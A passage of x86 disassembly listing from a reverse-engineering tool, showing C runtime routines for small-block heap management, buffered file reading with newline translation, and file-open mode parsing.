push 8000h
push 0
push edi
nop
call near ptr 2690D25h
loc_41F33C: ; CODE XREF: sub_41F216+4Bj
cmp esi, offset off_43AE50
jz short loc_41F353
push esi
push 0
push dword_4DD384
nop
call near ptr 27F0000h
loc_41F353: ; CODE XREF: sub_41F216+2Bj
; sub_41F216+12Cj
xor eax, eax
loc_41F355: ; CODE XREF: sub_41F216+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F216 endp
; =============== S U B R O U T I N E =======================================
sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
nop
call near ptr 2690D25h
cmp off_43CE70, esi
jnz short loc_41F37F
mov eax, [esi+4]
mov off_43CE70, eax
loc_41F37F: ; CODE XREF: sub_41F35A+1Bj
cmp esi, offset off_43AE50
jz short loc_41F3A7
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DD384
call near ptr 27F0000h
nop
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj
or dword_43AE60, 0FFFFFFFFh
pop esi
retn
sub_41F35A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43AE54
push edi
loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41F45B
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41F3D6: ; CODE XREF: sub_41F3B0+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41F417
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
nop
call near ptr 2690D25h
test eax, eax
jz short loc_41F417
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DBE40
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41F40C
cmp eax, edi
jbe short loc_41F40F
loc_41F40C: ; CODE XREF: sub_41F3B0+56j
mov [esi+0Ch], edi
loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41F424
loc_41F417: ; CODE XREF: sub_41F3B0+2Cj
; sub_41F3B0+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41F3D6
loc_41F424: ; CODE XREF: sub_41F3B0+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41F45B
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41F45B
push 1
lea eax, [ecx+20h]
pop edx
loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41F44C
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41F43B
loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej
cmp edx, 400h
jnz short loc_41F45B
push ecx
call sub_41F35A
pop ecx
loc_41F45B: ; CODE XREF: sub_41F3B0+11j
; sub_41F3B0+7Dj ...
cmp esi, off_43AE54
jz short loc_41F46D
cmp [ebp+arg_0], 0
jg loc_41F3BD
loc_41F46D: ; CODE XREF: sub_41F3B0+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41F3B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap
; sub_41BBE2+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43AE50
push esi
mov ecx, edx
loc_41F47E: ; CODE XREF: sub_41F472+1Cj
cmp eax, [ecx+10h]
jbe short loc_41F488
cmp eax, [ecx+14h]
jb short loc_41F490
loc_41F488: ; CODE XREF: sub_41F472+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41F4C5
jmp short loc_41F47E
; ---------------------------------------------------------------------------
loc_41F490: ; CODE XREF: sub_41F472+14j
test al, 0Fh
jnz short loc_41F4C5
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41F4C5
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41F4C5: ; CODE XREF: sub_41F472+1Aj
; sub_41F472+20j ...
xor eax, eax
pop esi
retn
sub_41F472 endp
; =============== S U B R O U T I N E =======================================
sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp
; sub_41BBE2+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41F50D
inc dword_4DBE40
cmp dword_4DBE40, 20h
jnz short locret_41F50D
push 10h
call sub_41F3B0
pop ecx
locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj
; sub_41F4C9+3Aj
retn
sub_41F4C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp
; sub_41BEF3+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43CE70
push edi
loc_41F51C: ; CODE XREF: sub_41F50E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41F5C7
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41F581
loc_41F547: ; CODE XREF: sub_41F50E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41F56A
cmp [edi+4], ebx
jbe short loc_41F56A
push ebx
push ecx
push eax
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41F56A: ; CODE XREF: sub_41F50E+40j
; sub_41F50E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41F547
jmp short loc_41F584
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F50E+37j
mov ebx, [ebp+arg_0]
loc_41F584: ; CODE XREF: sub_41F50E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41F5CA
loc_41F597: ; CODE XREF: sub_41F50E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41F5B6
cmp [edi+4], ebx
jbe short loc_41F5B6
push ebx
push eax
push [ebp+var_4]
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov [edi+4], ebx
loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj
; sub_41F50E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41F597
jmp short loc_41F5CA
; ---------------------------------------------------------------------------
loc_41F5C7: ; CODE XREF: sub_41F50E+14j
mov ebx, [ebp+arg_0]
loc_41F5CA: ; CODE XREF: sub_41F50E+87j
; sub_41F50E+B7j
mov esi, [esi]
cmp esi, off_43CE70
jz short loc_41F5E9
jmp loc_41F51C
; ---------------------------------------------------------------------------
loc_41F5D9: ; CODE XREF: sub_41F50E+54j
; sub_41F50E+A3j
mov off_43CE70, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F711
; ---------------------------------------------------------------------------
loc_41F5E9: ; CODE XREF: sub_41F50E+C4j
mov eax, offset off_43AE50
mov edi, eax
loc_41F5F0: ; CODE XREF: sub_41F50E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41F5FC
cmp dword ptr [edi+0Ch], 0
jnz short loc_41F608
loc_41F5FC: ; CODE XREF: sub_41F50E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F6DD
jmp short loc_41F5F0
; ---------------------------------------------------------------------------
loc_41F608: ; CODE XREF: sub_41F50E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41F637
loc_41F626: ; CODE XREF: sub_41F50E+127j
cmp [ebp+var_4], 10h
jge short loc_41F637
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41F626
loc_41F637: ; CODE XREF: sub_41F50E+116j
; sub_41F50E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call near ptr 2690BE8h
nop
cmp eax, esi
jnz loc_41F70F
push 0
push [ebp+var_8]
push esi
call sub_41BF70
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F69E
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41F674: ; CODE XREF: sub_41F50E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41F674
loc_41F69E: ; CODE XREF: sub_41F50E+15Ej
mov off_43CE70, edi
lea eax, [edi+2018h]
loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j
cmp ecx, eax
jnb short loc_41F6BA
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F6B8
add ecx, 8
jmp short loc_41F6AA
; ---------------------------------------------------------------------------
loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j
cmp ecx, eax
loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F6DD: ; CODE XREF: sub_41F50E+F2j
call sub_41F216
test eax, eax
jz short loc_41F70F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43CE70, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F70F: ; CODE XREF: sub_41F50E+143j
; sub_41F50E+1D6j
xor eax, eax
loc_41F711: ; CODE XREF: sub_41F50E+D6j
; sub_41F50E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap
; sub_41F50E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F75B
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F74A
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F753
; ---------------------------------------------------------------------------
loc_41F74A: ; CODE XREF: sub_41F716+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F753: ; CODE XREF: sub_41F716+32j
lea eax, [edi+8]
jmp loc_41F829
; ---------------------------------------------------------------------------
loc_41F75B: ; CODE XREF: sub_41F716+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F764
mov eax, esi
loc_41F764: ; CODE XREF: sub_41F716+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F7AE
loc_41F76B: ; CODE XREF: sub_41F716+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F7A1
push 1
lea ebx, [eax+1]
pop esi
loc_41F777: ; CODE XREF: sub_41F716+68j
cmp byte ptr [ebx], 0
jnz short loc_41F780
inc ebx
inc esi
jmp short loc_41F777
; ---------------------------------------------------------------------------
loc_41F780: ; CODE XREF: sub_41F716+64j
cmp esi, edx
jnb short loc_41F7D2
cmp eax, [ebp+var_4]
jnz short loc_41F78E
mov [ecx+4], esi
jmp short loc_41F79A
; ---------------------------------------------------------------------------
loc_41F78E: ; CODE XREF: sub_41F716+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F833
loc_41F79A: ; CODE XREF: sub_41F716+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F7A6
; ---------------------------------------------------------------------------
loc_41F7A1: ; CODE XREF: sub_41F716+59j
movzx esi, bl
add eax, esi
loc_41F7A6: ; CODE XREF: sub_41F716+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F76B
loc_41F7AE: ; CODE XREF: sub_41F716+53j
lea esi, [ecx+8]
loc_41F7B1: ; CODE XREF: sub_41F716+EBj
; sub_41F716+F2j
cmp esi, edi
jnb short loc_41F833
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F833
mov al, [esi]
test al, al
jnz short loc_41F803
push 1
lea ebx, [esi+1]
pop eax
loc_41F7C9: ; CODE XREF: sub_41F716+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F7F3
inc ebx
inc eax
jmp short loc_41F7C9
; ---------------------------------------------------------------------------
loc_41F7D2: ; CODE XREF: sub_41F716+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F7E3
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F7EC
; ---------------------------------------------------------------------------
loc_41F7E3: ; CODE XREF: sub_41F716+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F7EC: ; CODE XREF: sub_41F716+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F7F3: ; CODE XREF: sub_41F716+B6j
cmp eax, edx
jnb short loc_41F80A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F833
mov esi, ebx
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F803: ; CODE XREF: sub_41F716+ABj
movzx eax, al
add esi, eax
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F80A: ; CODE XREF: sub_41F716+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F81B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F824
; ---------------------------------------------------------------------------
loc_41F81B: ; CODE XREF: sub_41F716+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F824: ; CODE XREF: sub_41F716+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F829: ; CODE XREF: sub_41F716+40j
; sub_41F716+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F835
; ---------------------------------------------------------------------------
loc_41F833: ; CODE XREF: sub_41F716+7Ej
; sub_41F716+9Dj ...
xor eax, eax
loc_41F835: ; CODE XREF: sub_41F716+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F716 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F874
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F8D4
; ---------------------------------------------------------------------------
loc_41F874: ; CODE XREF: sub_41F83A+26j
jnb short loc_41F8DB
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F8DB
lea eax, [ecx+edx]
loc_41F889: ; CODE XREF: sub_41F83A+59j
cmp eax, esi
jnb short loc_41F897
cmp byte ptr [eax], 0
jnz short loc_41F895
inc eax
jmp short loc_41F889
; ---------------------------------------------------------------------------
loc_41F895: ; CODE XREF: sub_41F83A+56j
cmp eax, esi
loc_41F897: ; CODE XREF: sub_41F83A+51j
jnz short loc_41F8DB
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F8CF
cmp esi, eax
jbe short loc_41F8CF
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F8C6
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F8C1
loc_41F8BA: ; CODE XREF: sub_41F83A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F8BA
loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej
mov [ebx+4], eax
jmp short loc_41F8CF
; ---------------------------------------------------------------------------
loc_41F8C6: ; CODE XREF: sub_41F83A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F8CF: ; CODE XREF: sub_41F83A+68j
; sub_41F83A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F8D4: ; CODE XREF: sub_41F83A+38j
mov [ebp+var_4], 1
loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j
; sub_41F83A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F83A endp
; =============== S U B R O U T I N E =======================================
sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p
; sub_41C52F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F9B7
test al, 40h
jnz loc_41F9B7
test al, 2
jz short loc_41F909
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F9B7
; ---------------------------------------------------------------------------
loc_41F909: ; CODE XREF: sub_41F8E3+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F91D
push esi
call sub_4241F7
pop ecx
jmp short loc_41F922
; ---------------------------------------------------------------------------
loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F922: ; CODE XREF: sub_41F8E3+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F9A6
cmp eax, 0FFFFFFFFh
jz short loc_41F9A6
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F97B
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F964
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DD040[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F969
; ---------------------------------------------------------------------------
loc_41F964: ; CODE XREF: sub_41F8E3+6Bj
mov edi, offset dword_43D4D0
loc_41F969: ; CODE XREF: sub_41F8E3+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F97B
or dh, 20h
mov [esi+0Ch], edx
loc_41F97B: ; CODE XREF: sub_41F8E3+62j
; sub_41F8E3+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F998
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F998
test ch, 4
jnz short loc_41F998
mov dword ptr [esi+18h], 1000h
loc_41F998: ; CODE XREF: sub_41F8E3+9Fj
; sub_41F8E3+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F9A6: ; CODE XREF: sub_41F8E3+55j
; sub_41F8E3+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj
; sub_41F8E3+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F8E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p
; sub_41F8E3+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DD140
jnb loc_41FB99
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DD040h[eax*4]
mov eax, dword_4DD040[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41FB99
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41FA71
test dl, 2
jnz short loc_41FA71
test dl, 48h
jz short loc_41FA31
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41FA31
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41FA31: ; CODE XREF: sub_41F9BC+56j
; sub_41F9BC+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call near ptr 27310DDh
nop
test eax, eax
jnz short loc_41FA84
nop
call near ptr 26C0CC8h
push 5
pop ecx
cmp eax, ecx
jnz short loc_41FA6C
mov dword_4DBDDC, 9
mov dword_4DBDE0, ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA6C: ; CODE XREF: sub_41F9BC+99j
cmp eax, 6Dh
jnz short loc_41FA78
loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj
; sub_41F9BC+51j
xor eax, eax
jmp loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FA78: ; CODE XREF: sub_41F9BC+B3j
push eax
call sub_420C7F
pop ecx
jmp loc_41FBAA
; ---------------------------------------------------------------------------
loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41FB94
test edx, edx
jz short loc_41FAA9
cmp byte ptr [edi], 0Ah
jnz short loc_41FAA9
or al, 4
jmp short loc_41FAAB
; ---------------------------------------------------------------------------
loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j
; sub_41F9BC+E7j
and al, 0FBh
loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41FB8E
loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41FB7E
cmp al, 0Dh
jz short loc_41FADF
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41FB70
; ---------------------------------------------------------------------------
loc_41FADF: ; CODE XREF: sub_41F9BC+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41FAFD
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41FAF4
add [ebp+arg_8], 2
jmp short loc_41FB52
; ---------------------------------------------------------------------------
loc_41FAF4: ; CODE XREF: sub_41F9BC+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FAFD: ; CODE XREF: sub_41F9BC+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 27310DDh
test eax, eax
jnz short loc_41FB25
nop
call near ptr 26C0CC8h
test eax, eax
jnz short loc_41FB6C
loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj
cmp [ebp+var_C], 0
jz short loc_41FB6C
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41FB47
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41FB52
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41FB70
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F9BC+176j
cmp edi, [ebp+arg_4]
jnz short loc_41FB57
cmp [ebp+var_1], 0Ah
jnz short loc_41FB57
loc_41FB52: ; CODE XREF: sub_41F9BC+136j
; sub_41F9BC+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41FB6F
; ---------------------------------------------------------------------------
loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej
; sub_41F9BC+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_422F09
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41FB70
loc_41FB6C: ; CODE XREF: sub_41F9BC+167j
; sub_41F9BC+16Dj
mov byte ptr [edi], 0Dh
loc_41FB6F: ; CODE XREF: sub_41F9BC+199j
inc edi
loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej
; sub_41F9BC+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41FAC3
jmp short loc_41FB8E
; ---------------------------------------------------------------------------
loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41FB8E
or al, 2
mov [esi], al
loc_41FB8E: ; CODE XREF: sub_41F9BC+101j
; sub_41F9BC+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41FB94: ; CODE XREF: sub_41F9BC+DAj
mov eax, [ebp+var_8]
jmp short loc_41FBAD
; ---------------------------------------------------------------------------
loc_41FB99: ; CODE XREF: sub_41F9BC+12j
; sub_41F9BC+39j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj
; sub_41F9BC+C3j
or eax, 0FFFFFFFFh
loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j
; sub_41F9BC+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F9BC endp
; =============== S U B R O U T I N E =======================================
sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p
; sub_41BBE2+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DBE44
test eax, eax
jz short loc_41FBCA
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41FBCA
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41FBCA: ; CODE XREF: sub_41FBB2+7j
; sub_41FBB2+12j
xor eax, eax
retn
sub_41FBB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DBFB0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41FC06
cmp al, 72h
jz short loc_41FBFF
cmp al, 77h
jnz loc_41FD1A
mov ecx, 301h
jmp short loc_41FC0B
; ---------------------------------------------------------------------------
loc_41FBFF: ; CODE XREF: sub_41FBCD+21j
xor ecx, ecx
or esi, 1
jmp short loc_41FC0E
; ---------------------------------------------------------------------------
loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj
mov ecx, 109h
loc_41FC0B: ; CODE XREF: sub_41FBCD+30j
or esi, 2
loc_41FC0E: ; CODE XREF: sub_41FBCD+37j
push 1
pop edx
loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj
; sub_41FBCD+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41FD00
cmp edx, ebx
jz loc_41FD00
movsx eax, al
cmp eax, 54h
